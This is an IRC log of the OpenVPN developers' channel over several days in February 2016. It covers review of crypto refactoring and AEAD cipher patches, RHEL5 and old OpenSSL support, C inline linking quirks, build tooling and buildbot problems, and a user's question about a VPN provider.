<@plaisthos> wallbroken: I don't use iOS 06:15 <@plaisthos> and since I have written my own client for Android, I also do not use OpenVPN Connect on Android 06:17 < wallbroken> ok, another question: is there somebody who knows "tunnelbear" openvpn provider? 06:17 < wallbroken> because i'm experiencing a terrible issue but the customer care doesn't seem to help 06:18 <@plaisthos> no 06:18 < wallbroken> ok 06:21 <@plaisthos> Their Android app probably violates gpl if that helps :) 06:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 06:46 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 06:46 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 06:47 -!- dazo_afk is now known as dazo 07:37 <@ecrist> https://www.tunnelbear.com/notices/ 07:37 <@vpnHelper> Title: Legal Notices & Open Source Attribution - TunnelBearTunnelBear (at www.tunnelbear.com) 07:37 <@ecrist> If you look at their "Download" page, there is a link in light-grey text to the notices page. 07:38 <@plaisthos> ecrist: yeah, exactly 07:38 <@ecrist> plaisthos: he does indicate he uses ics-openvpn 07:38 <@plaisthos> We use ics-openvpn but do not provide its source code :0 07:39 <@ecrist> I don't think that's technically a problem. 07:39 <@ecrist> He provides a URL where the code can be downloaded 07:39 < wallbroken> ecrist, the problem is that some ports are dropped 07:39 <@plaisthos> really? 07:39 <@plaisthos> I can't see it 07:39 < wallbroken> and this happens only using openvpn 07:39 <@plaisthos> or I am blind 07:40 <@ecrist> wallbroken: what do you mean some ports are dropped. 07:40 < wallbroken> if i connect to it using ikeV1, no problem 07:40 <@ecrist> TunnelBear utilizes the following open source projects without modification unless otherwise noted and linked: 07:40 <@ecrist> plaisthos: ^^^ 07:40 < wallbroken> ecrist, for example i can't connect to my BNC server 07:40 <@ecrist> he gives a URL to the ics-openvpn github page. 07:40 < wallbroken> which uses 1339 port 07:40 <@plaisthos> ecrist: yeah, exactly 07:41 <@ecrist> plaisthos: I don't see a problem. 07:41 <@plaisthos> ecrist: and the modified code of the app is not available 07:41 <@ecrist> wallbroken: your problem doesn't belong in -devel. 07:41 <@ecrist> and, really, there's nothing we can do if they have a firewall restricting some access. 07:42 <@ecrist> plaisthos: are they modifying the code? 07:42 < wallbroken> sure, but if the issue affects only the openvpn server of the provider, could meant that it's not a policy restriction 07:42 < wallbroken> but a technical problem 07:42 <@ecrist> wallbroken: we still can't fix their server 07:43 <@plaisthos> ecrist: yes, otherwise it would be the OpenVPN for Android app and not the Tunnelbear app :) 07:43 < wallbroken> yes, infact i haven't asked something about it. I just asked if there were somebody of staff here 07:44 <@ecrist> afaik there is no tunnelbear staff here. 07:45 <@plaisthos> I don't there is staff from any VPN provider 07:45 <@plaisthos> apart from privatetunnel perhaps 07:45 <@ecrist> right 07:46 <@ecrist> and, regardless, this isn't a provider support channel 07:46 <@ecrist> or any level of support, really 08:06 <@cron2> wallbroken: mainstream openvpn (what *we* maintain and support) has no port restrictions. Everything Tunnelbear provides is their responsibility to support 09:29 <@cron2> plaisthos: heh, fast-acking today :-) - I inteded to read through the refactoring stuff today (cold got in the way...) but wanted to ask syzzer a few things first 09:32 <@cron2> (grumble, gmane is down again, so my "take message ID and find gmane URL to add to the commit message" script hangs and creates incomplete commit messages...) 09:40 <@syzzer> cron2: yes, I was annoyed by gmane yesterday too (hence the sourceforge link in my mail...) 09:41 <@syzzer> and thanks plaisthos for looking at these patches already :) 09:41 <@syzzer> the refactoring ones wrt crypto_options were a bit tricky - I needed a few attempts before I could not find any arcane feature I broke... 09:43 <@plaisthos> syzzer: I believe that 09:43 <@plaisthos> they much easier to review than to write 10:06 <@syzzer> no meeting tonight I guess? 10:07 <@syzzer> because in that case I'll be afk for sports 10:07 <@plaisthos> Now only the big AES patch remains for me 10:08 <@cron2> we had a meeting last week, so next monday is due - enjoy your sports 10:08 <@cron2> wow, everything ACKed, and I can't merge anything ... grrr 10:18 <@plaisthos> cron2: nah the big 8/10 aes aead patch is missing 10:40 <@syzzer> haha, at least splitting everything up in small patches seems to have worked for you :) 10:49 * cron2 shakes fist 11:20 <@ecrist> and to think, hiya wanted to charge for support a week ago. 11:30 <@plaisthos> syzzer: yes thanks for that :) 11:30 <@plaisthos> the indiviual changes are small enough to get the whole picture of them 11:54 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 12:01 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:08 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 12:18 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:27 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 14:35 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:36 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:37 < lev__> MSVS is not happy with typedefs in interactive.c. Have to lurk more.. 16:12 <@plaisthos> syzzer: inlining is a fair point 18:34 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 23:19 <@d12fk> why do we support msvc again? --- Day changed Tue Feb 09 2016 00:52 <@cron2> supposedly the native compiler for a platform is a good thing :) 01:06 <@cron2> syzzer: should git master with your patches be able to handle clients with different ciphers at the same time? 03/10 sort of looks like it 01:13 <@cron2> jftr, the person behind gmane.org actually replies to e-mail and goes restart his box if it's not working :) 01:39 <@vpnHelper> RSS Update - gitrepo: Move crypto_options into key_state and stop using context in SSL-mode. <https://github.com/OpenVPN/openvpn/commit/2d9c6d20e6e98f852930ea96dae9bd912d34068e> || Remove reuse of key_type during init of data channel auth and tls-auth <https://github.com/OpenVPN/openvpn/commit/e7d78e407d41d48fbd91a71b2edfedcd2879b778> || Allow NULL argument in cipher_ctx_get_cipher_kt() <https://github.com/OpenVPN/openvpn/commit/70f 02:12 <@cron2> the arch buildbot is getting on my nerves 02:12 <@cron2> syzzer: are you around? 02:14 <@syzzer> cron2: I am now 02:14 <@cron2> good 02:14 <@cron2> while plaisthos has ACKed everything already, I try to understand the changes (and an extra pair of eyes can never hurt). Right now I'm trying to understand 06, and that escapes me a bit 02:15 <@cron2> hmac_start and mac_out confuse me 02:15 <@syzzer> 3/10 was done with cipher negotiation in mind, but it's not enough 02:15 <@cron2> re 03/10 -> yeah, option handling is still needed 02:16 <@syzzer> and handling different link mtu for different connections because of different overhead 02:16 * cron2 puts his hands into his ears and sings lalalala... 02:16 <@syzzer> yes... 02:16 <@syzzer> so, hmac_start and mac_out 02:17 <@cron2> I assume hmac_start is "the data that should be HMAC'ed", and mac_out is "where to put it"? 02:17 <@syzzer> cron2: yes 02:17 <@syzzer> (I think, let me check the patch to verify) 02:17 <@cron2> ok. so why is hmac_start set twice? 02:18 <@cron2> ah 02:18 <@cron2> ah! 02:18 <@cron2> one is in the "with crypto" and the other in the "no crypto" branch 02:18 <@syzzer> yes :) 02:20 <@syzzer> hm, hmac_start and mac_out might not be the best names... 02:20 <@cron2> so for crypto mode, we allocate the buffer, reserve space at the beginning (and put that pointer into mac_out), and hmac_start is set to "the buffer after the mac_out" 02:21 <@cron2> IV is always taken into HMAC? 02:22 <@syzzer> cron2: yes 02:22 <@syzzer> (see the doxygen in crypto.h for the packet format) 02:25 <@syzzer> looking at the code I now start to wonder if cipher none works with P_DATA_V2... 02:25 <@cron2> ok, I think I grok the crypto bit now. Now for the non-crypto-bit... buf_write_prepend() - that seems to copy over stuff from &work buf to &buf, but what is in "work" at that point? 02:28 <@syzzer> buf_write_prepend() prepends data to a buffer 02:28 <@cron2> yes... which data? 02:28 <@syzzer> ah, no, this works 02:28 <@cron2> ah, I think I understand. Magic 02:28 <@syzzer> we're looking at no-crypto, inside if(ctx->hmac), right? 02:29 <@cron2> yes 02:29 <@cron2> well, no, right after if(ctx->hmac) 02:29 <@syzzer> yes, indeed 02:29 <@cron2> buf_write_prepend(buf, BPTR(&work), BLEN(&work) 02:29 <@syzzer> that copies over the opcode / peer-id 02:29 <@cron2> so for now, &work is just an empty buffer, and nothing is copied - and with AEAD, it might contain "somethign"? 02:30 <@syzzer> yes, indeed. it will copy over anything that was put into work before calling openvpn_encrypt() 02:30 <@syzzer> which - for now - is nothing 02:30 <@syzzer> confusing indeed, sorry 02:30 <@cron2> ok 02:32 <@cron2> then I'm fine :-) - testing merge with 04...06 now 02:33 <@syzzer> puling the 'write opcode/peer-id before calling openvpn_encrypt()' change into this patch would have been more clear 02:33 <@syzzer> that is not part of the big aead patch 02:33 <@syzzer> *now 02:53 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:55 <@vpnHelper> RSS Update - gitrepo: Change openvpn_encrypt() to append to work buffer only <https://github.com/OpenVPN/openvpn/commit/a070f75b7dbb06161b9e2009124ad82277054524> || Move packet_id into crypto_options <https://github.com/OpenVPN/openvpn/commit/3ebc31f9591ce11b0673dc20e76022c13bdb2c37> || Move key_ctx_bi into crypto_options <https://github.com/OpenVPN/openvpn/commit/8b1a00ca4be11f03238c27b0f9a54573b707ba89> 02:56 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:56 <@cron2> ok, running two t_client tests from the same machine at the same time is a somewhat stupid idea... 03:00 <@vpnHelper> RSS Update - gitrepo: Create separate function for replay check <https://github.com/OpenVPN/openvpn/commit/de4cbd62b7d120e1ec083eaf7688ef3d18e03288> 03:15 <@cron2> so, how can we tackle the big AEAD patch... 03:19 <@plaisthos> syzzer: is there a reason you added a configure option for aead? 03:21 <@cron2> reading through configure.ac, it seems there are crypto library versions that do not have this 03:33 <@plaisthos> yes 03:33 <@plaisthos> but I would prefer not have it user configurable 03:34 <@cron2> syzzer: which library versions are affected? (agreeing with plaisthos, avoid #ifdef is possible) 03:34 <@plaisthos> if we autodetect it we can drop the ifdefs if we drop old OpenSSL/PolarSSL support without checking if that user options is actually used 03:35 <@cron2> as well 04:25 <@syzzer> aead need polar 1.3+ or openssl 1.0.0+ (from the top of my head) 04:25 <@syzzer> but since we have to support openssl 0.9.8 (RHEL5...), we need the #ifdefs 04:25 <@syzzer> I make it use-configureable just because OFB/CFB is too 04:25 <@syzzer> *made 04:26 <@syzzer> I would be fine with not making it user-configurable 04:36 <@cron2> is there any good reason why we'd have OFB/CFB user-configurable? 04:45 <@cron2> ("it was that way when we started messing with it" is not necessarily a *good* reason :) ) 05:29 <@plaisthos> syzzer: do we support RHEL5 in 2.4? 05:30 <@plaisthos> in 2.3 sure, but in 2.4? 05:31 <@plaisthos> dazo: any strong objections to drop RHEL5 support in 2.4? 05:32 <@plaisthos> 5.0 came out in 2007 and the last update (5.11) was in 2014 05:32 <@plaisthos> (still supported but still) 05:33 <@syzzer> cron2: smaller binary perhaps? not that it saves you a lot... 05:34 <@syzzer> plaisthos: dazo did argue for supporting RHEL5 a number of times 05:34 <@plaisthos> syzzer: :( 06:43 <@mattock> what does "support RHEL5 mean in this context"? 06:44 <@mattock> afaik packages in RHEL5 have (security) patches backported anyways 06:44 <@cron2> mattock: prehistoric OpenSSL, so "#ifdef in the AEAD code" 06:44 <@mattock> ah 06:44 <@mattock> do we need to care about that? 06:44 <@mattock> I think RedHat is only interested in fixing security vulnerabilities, not new functionality 06:45 <@cron2> well, I do care about the #ifdef, and dazo cares about RHEL5... 06:45 <@mattock> I could be wrong 06:45 <@cron2> so, sort of stalemate :) 06:45 <@mattock> I know, but if RedHat is only interested in security fixes, then they can backport fixes from "unsupported" OpenVPN upstream versions themselves 06:46 <@mattock> anyways, this is worth looking into I think to avoid more ifdefs 06:46 <@cron2> well, if we do AEAD without #ifdef, 2.4 will just not compile on RHEL5 06:46 <@cron2> (and adding *these* #ifdefs is fairly error-prone, I'm afraid, so it might break and we get the bug reports) 06:47 <@mattock> if we're genuinely interested having 2.4 (as opposed to 2.3) working on RHEL5, then we might indeed have a problem 06:48 <@mattock> typically these enterprise distros pack ancient versions of software anyways, so for 2.4 we're probably speaking of 3rd party packages (e.g. EPEL) 06:48 <@mattock> those could have their own, more recent copies of openssl available 06:48 <@cron2> well... dazo is the one to comment on that... 06:48 <@mattock> yeah, we should discuss this throughly before making any choices 06:49 <@cron2> I totally do not care about any Linux besides Gentoo :-) 06:49 <@cron2> mattock: but while you're around and awake, and we're talking Linux... arch buildbot... *whine* 06:49 <@mattock> actually there may be a serious problem with our user registration thing (reCAPTCHA) which I need to look into a.s.a.p. 06:50 <@mattock> I hope Google did not drop support for the old recaptcha api, because that could involve updating Pwm right now 06:50 <@mattock> they warned about it, but I can't recall receiving a second warning 07:11 <@cron2> wtf... I have a piece of (... old) C code here which explodes when *linking* when compiled with FreeBSD clang when *not* using -std=gnu89 07:11 <@cron2> it complains about unresolved symbols which are inline functions in the very same .c file 07:12 <@cron2> and no(!) warnings on compilation 08:41 <@mattock> fortunately pwm was only in a limbo and restarting tomcat solved the registration (reCAPTCHA not working) issue 08:43 <@ecrist> what did you break, mattock? 08:47 <@plaisthos> cron2: inline or static inline? 08:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:56 <@cron2> plaisthos: non-static inline - why? 08:58 <@plaisthos> cron2: inline semantic differ slightly for different c++ standards 08:59 <@plaisthos> in c89 inline is merely a suggestion and iirc inline function still need to be in the linking table 08:59 <@cron2> well, it's the very same .c program 08:59 <@cron2> inline func(void) { bla; } 08:59 <@cron2> otherfunc() 08:59 <@cron2> { 08:59 <@cron2> func(); 08:59 <@cron2> } 09:00 <@cron2> and it fails at link time, claiming "func" is unresolved 09:00 <@cron2> no cross-module stuff, just plain simple single .c/.o file 09:01 <@cron2> so arguably it *should* be "static inline func()" as there are no outside callers, but for the call from otherfunc() it really should mot make a difference... 09:02 <@cron2> let me test this with a simpler program 09:02 <@plaisthos> cron2: http://stackoverflow.com/questions/216510/extern-inline/216546#216546 09:02 <@vpnHelper> Title: c++ - extern inline - Stack Overflow (at stackoverflow.com) 09:03 <@cron2> uh 09:03 <@cron2> so "extern inline" is basically for usage in .h files - "inline this, if you think it is useful, if not, just create a call-out to the .o that is really defining the function" 09:04 <@plaisthos> your program wanted static inline :) 09:04 <@cron2> I do *not* think that this is following the principle of least astonishment... :-) 09:04 <@plaisthos> :) 09:04 <@plaisthos> agreed 09:05 <@plaisthos> I also got bitten by these strange inline rules 09:05 <@cron2> 22 years(!) after I wrote this code it blows up because the C standard changes behind my back :-) 09:05 <@cron2> date: 1994/02/17 23:31:03; author: gert; state: Exp; 09:05 <@cron2> Initial revision 09:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:10 <@plaisthos> cron2: that 22 year old source code still compiles is the strange part if you think about it 09:11 <@cron2> it was written with great care about byte sizes, bit ordering, etc... (it's the part of mgetty+sendfax that converts .pbm to fax G3 format) 09:11 <@cron2> s/byte/integr/ 09:11 <@cron2> integer even 09:12 <@cron2> so it's really as portable as C program gets - read file, write file, do bit operations on data 09:13 <@plaisthos> in a lot of other programming languages you would have trouble finding a compiler for a 20 year old program 09:13 * cron2 likes C :-) 09:13 <@cron2> (and unix) 09:14 <@plaisthos> you should like windows too ;) 09:15 <@plaisthos> It even has 20 year old ABI compatiblity 09:16 <@cron2> oh, the windows APIs and ABIs are not that bad. It's more like the overall system is too closed for my taste, and has licensing annoyances, and no sources, and all that shit 09:16 <@cron2> and the moment you get used to something, MS decides that this is no longer good for you and gives you a totally different-looking thing... 09:43 <@cron2> ok, my heap of tablet devices starts getting absurd... my shield k1 just arrived :) 09:49 <@cron2> 22g heavier than the N7, but 10 years into the future... like, two good cameras... and fast! 09:57 <@plaisthos> ah nice :) 09:58 <@plaisthos> cron2: so two android devices and more ipads? 09:59 <@cron2> n7 and shield k1, and ipad 1 + ipad air (and I threw away a cheap 4" tablet toy a while ago, since only android 3 and never working right in the first place) 09:59 <@cron2> the n7 really is broken somewhere in the power supply department - I full-erased it and put CM on it, but it has the same issues - "sometimes it just hangs, crashes, and reboots" 10:00 <@plaisthos> yeah 10:00 <@plaisthos> and the old n7 also feels cheap and bulky 10:01 <@cron2> the shield actually feels more bulky as it has thicker sides 10:02 <@plaisthos> oh 10:02 <@plaisthos> I never hold that device 10:02 <@plaisthos> my sister has a z3 compact tablet 10:02 <@plaisthos> that feels really thin 10:02 <@plaisthos> with its 6,4mm 10:04 <@cron2> this one is more like 9mm (guess) 10:11 <@plaisthos> yeah. It has a more powerful battery iirc 10:26 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:26 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:03 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 14:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 14:55 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 15:00 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 15:22 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Ping timeout: 264 seconds] 15:28 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 15:28 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 15:29 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 15:42 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 15:42 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 18:09 -!- wallbroken [~wallbroke@gateway/shell/bnc4free/x-reymahqqodkosqjc] has quit [Ping timeout: 250 seconds] 18:40 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Read error: Connection reset by peer] 18:45 -!- wallbroken [wallbroken@gateway/shell/bnc4free/x-hutxksexcetzawxm] has joined #openvpn-devel --- Day changed Wed Feb 10 2016 01:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:14 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:32 <@vpnHelper> RSS Update - gitrepo: Correctly report TCP connection timeout on windows. <https://github.com/OpenVPN/openvpn/commit/5f5229e41d134b659e502bb2597c711aedaf8096> || Report Windows bitness <https://github.com/OpenVPN/openvpn/commit/15f78acfae2f99b74a72b5766559f28c2d1d3cac> 05:37 <@cron2> mattock: is it possible buildbot is running multiple builds in parallel (on the same slave) nowadays? 06:32 <@mattock1> cron2: I think it is possible 06:33 <@mattock1> I set concurrent build to one because most / all of my own buildslaves are VMs with one virtual CPU core 06:34 <@cron2> misunderstanding 06:34 <@cron2> I got buildbot errors today from my slaves that are only explicable if two "make test" sessions run at the same time, so I was wondering what buildbot is actually doing today, not so much "what it could do in theory" 06:48 <@cron2> (and, while at it - is buildbot not currently building windows installers?) 06:57 <@plaisthos> syzzer: do I get this right that cipher AES-GCM-128 also needs a --auth none? 06:58 <@plaisthos> If I do want double authentication? 06:59 <@plaisthos> +not 07:00 <@syzzer> plaisthos: --auth currently used to decide on both the data channel and tls-auth authentication method 07:01 <@syzzer> so you need a valid --auth to make --tls-auth work 07:01 <@syzzer> (or just leave it at the sha1 default) 07:01 <@syzzer> AEAD modes just ignore --auth fot the data channel 07:08 * cron2 sees a missing extra bit in openvpn.8 07:10 <@plaisthos> yes. 07:10 <@plaisthos> Adding that to the review ;) 07:14 <@plaisthos> syzzer: I haven't looked closely at the control channel packets 07:14 <@plaisthos> are they really using --auth? 07:14 <@plaisthos> I thought they authentication that is part of the TLS control channel 07:17 <@cron2> with --tls-auth only 07:18 <@plaisthos> ah right yes 07:18 <@plaisthos> was a bit confused 08:11 <@plaisthos> syzzer: you forgot Changes.rst btw %) 08:16 <@plaisthos> cron2: you have mail 08:17 <@cron2> just noticed... seems a v3 is coming... 08:17 <@cron2> thanks :) 08:21 <@plaisthos> and interactive service also needs to be in Changes.rst 08:30 <@syzzer> plaisthos: thanks :) 08:30 <@syzzer> I wrote this patch before Changes.rst existed, and of course forgot to add it later... 08:31 <@syzzer> I'll send a v2, but I do not have time before the weekend. 08:35 <@plaisthos> syzzer: yeah, just wanted to point that out, in case you are doing a v2 anyway ... 08:45 <@syzzer> your comments make sense - so yes, v2. 08:48 <@cron2> mattock: *poke* 10:27 <@mattock1> cron2: I'll look into the buildbot thing tomorrow 10:28 <@mattock1> a flu reorganized my weekly schedule a bit 10:30 <@cron2> oh, seems to spread across IRC, then :-) - I'm sick @home with flu since sunday 10:31 <@cron2> sort of hanging around at the keyboard because I don't feel like doing something useful... which went nicely with plaisthos' ACK flood, so it had some good sides 10:51 <@plaisthos> cron2: if you want, you can update the patches status page :) 10:52 <@plaisthos> last update was on the last dev meeting :) 11:02 -!- ju1c3d [~root@labs.juiced.net] has joined #openvpn-devel 11:38 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 11:38 <@cron2> plaisthos: I'm not sure I actually merged anything of that... I poked a few people but was mostly ignored, like andj, and reators, ... :-) 13:03 -!- dazo is now known as dazo_afk 14:39 -!- dazo_afk is now known as dazo 15:23 -!- ju1c3d [~root@labs.juiced.net] has quit [Remote host closed the connection] 15:49 -!- eliasp_ [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 15:52 -!- Netsplit *.net <-> *.split quits: arlen, eliasp, valdikss, @syzzer 15:52 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 15:56 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 250 seconds] 15:57 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 15:59 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Ping timeout: 250 seconds] 16:04 -!- dazo is now known as dazo_afk 16:24 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 16:26 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 240 seconds] 16:27 -!- siruf_ is now known as siruf 16:54 -!- dazo_afk is now known as dazo 19:03 -!- dazo is now known as dazo_afk --- Day changed Thu Feb 11 2016 01:02 -!- ValdikSS [~valdikss@2a02:7aa0:1619::2c32:9c23] has joined #openvpn-devel 01:44 <@cron2> mornin' 02:03 <@mattock1> morning 02:21 -!- wallbroken [wallbroken@gateway/shell/bnc4free/x-hutxksexcetzawxm] has left #openvpn-devel [] 03:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:09 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:27 -!- dazo_afk is now known as dazo 03:46 <@plaisthos> My openVPN beta version now has aead in it 03:46 <@plaisthos> and it breaks configs: 03:46 <@plaisthos> 10:16 ERROR: tls-auth enabled, but no valid --auth algorithm specified ('(null)') 03:46 <@plaisthos> what does the pre aead code do in this strange configuration?! 04:25 <@syzzer> https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160210-asa-ike 04:25 <@vpnHelper> Title: Cisco ASA Software IKEv1 and IKEv2 Buffer Overflow VulnerabilityCisco Security - Cisco (at tools.cisco.com) 04:26 <@syzzer> plaisthos: it won't do tls-auth, and your data channel packets will be unauthenticated 04:26 <@syzzer> people who get that error whould be grateful 04:26 <@syzzer> their setup is completely broken 04:27 <@syzzer> s/whould/should/ 04:28 <@cron2> so that's not technically AEAD, but an extra check that should have been there all the time? 04:31 <@syzzer> cron2: exactly 04:31 <@cron2> how do you get to --auth (null)? Is it not doing anything by default, or do you have to configure --auth none? 04:32 <@syzzer> you have to configure --auth none 04:32 <@syzzer> (and this was in 2/10, not the AEAD patch) 04:36 <@cron2> "Also, error out (and give a clear error message) if a user specifies tls-auth but no valid auth algorithm, which makes no sense at all." 04:37 <@cron2> right he is :) 06:32 <@plaisthos> but I have the feeling that every extra check or contraint we put in breaks at least one config 06:32 <@plaisthos> like the error on extra arguments .... 08:11 <@mattock1> autotools are so magical 08:12 <@plaisthos> yes 08:12 <@mattock1> I was cursing at the lack of "make dist" in openvpn-gui sources, and surprsingly I can produce a tarball with "autoreconf -vi && ./configure --enable-distonly && make dist" 08:12 <@plaisthos> whatever :) 08:12 <@mattock1> took a while to figure that out 08:12 <@plaisthos> magic! 08:12 <@mattock1> indeed 08:14 <@plaisthos> Time to break some more users config 08:14 <@plaisthos> (hopefully not, but you never know if there other users with tls-auth and auth none) 08:15 <@mattock1> those deserve to get hit, right? 08:15 <@plaisthos> I guess so :) 08:35 <@dazo> mattock1: I curse at autotools each time I have to hack on those things too, and wish it was CMake .... and I curse at CMake each time I have to do something there and wish it was autotools .... I wonder which other alternatives exists which are saner 08:37 <@mattock1> dazo: grim times we live in :P 08:37 <@mattock1> I guess it's the same everywhere 08:38 <@plaisthos> I thought cmake was saner than autotools 08:38 <@dazo> I sometimes wonder how hard it really can be to make a sane build tool ... but then I see all those attempts, all being complicated and horrible and realize it probably isn't that easy 08:38 <@plaisthos> but then again I never used cmake 08:39 <@mattock1> cron2: windows buildslaves are not failing, see my earlier comment here on the chat 08:39 <@dazo> plaisthos: there are aspects which are saner in cmake compared to autotools .... but Makefile.am files is a vast improvement over the build rules in CMake 08:39 <@mattock1> I was a bit hasty in forwarding the email to you 08:40 <@cron2> dazo: the answer, of course, is to only ever ship pre-build docker images! 08:40 <@dazo> plaisthos: taking the best of cmake and autotools and cut the horrible crap ... and it probably wouldn't be too bad ... but both are built in very different unverses 08:40 <@mattock1> dazo: sounds like a new project to me! 08:40 <@dazo> cron2: heh ... but what should build those docker images!? ;-) 08:40 <@cron2> mattock1: and yes, I saw all the subsequent success mails :-) 08:40 <@mattock1> "I will do it in my free time" 08:41 <@cron2> dazo: no idea how certain projects manage to get their stuff built, but obviously, if it builds once, ship it 08:41 <@mattock1> cron2: good 08:41 <@dazo> cron2: well, true ... not that there are other horrible things with docker images too ;-) 09:04 <@plaisthos> I just encountered a arduino project which only builds in the windows version of arduino 09:05 <@plaisthos> I have no idea how you manage that 09:06 <@cron2> "with your mouse!" :) 09:56 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 264 seconds] 10:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 10:08 -!- mattock_ is now known as mattock 10:17 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 11:27 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 15:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 17:55 -!- dazo is now known as dazo_afk 18:18 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 18:26 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 18:49 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Read error: Connection reset by peer] --- Day changed Fri Feb 12 2016 00:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 01:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:58 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 04:10 -!- dazo_afk is now known as dazo 11:09 -!- reators [~holger@2001:1a80:2000:2:683d:248d:7d5:85ab] has quit [Quit: Leaving.] 15:26 -!- klow [~klong@c-73-53-31-109.hsd1.wa.comcast.net] has joined #openvpn-devel 15:30 < klow> Anyone in here deeply familiar with the openvpn source code, including encyrption/network stack part of the code, my company is looking to hire someone for a contract involving modification of the openvpn client/server . 15:30 < klow> Sorry if this is the wrong place to ask, we just need someone with the very specific knowledge of openvpn code. 16:28 <@plaisthos> syzzer is probably the one who is most familiar with the crypto code 16:28 <@plaisthos> for network part it is probably cron2 and me 16:37 < klow> @plaisthos OK thank you. Would you mind PM your email to me, so I can send some details about the opportunity ? 16:43 < klow> plaisthos syzzer cron2 - would anyone of you actually be available for a paid development opportunity in the short term? 17:56 -!- dazo is now known as dazo_afk 18:54 -!- klow [~klong@c-73-53-31-109.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Feb 13 2016 02:09 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer] 04:50 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 07:19 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Ping timeout: 264 seconds] 12:13 -!- dmaiocchi [~dmaiocchi@2001:a62:115c:4301:4e34:88ff:fe61:c7d6] has joined #openvpn-devel 12:19 < dmaiocchi> hi all, is there a testsuite for openvpn? for testing, Server/client. looked in git but didn't find some 12:27 -!- dmaiocchi [~dmaiocchi@2001:a62:115c:4301:4e34:88ff:fe61:c7d6] has quit [Quit: Leaving] 12:48 <@plaisthos> not really 12:48 <@plaisthos> there is a bit of testing in the tests folder 14:12 -!- luckman212 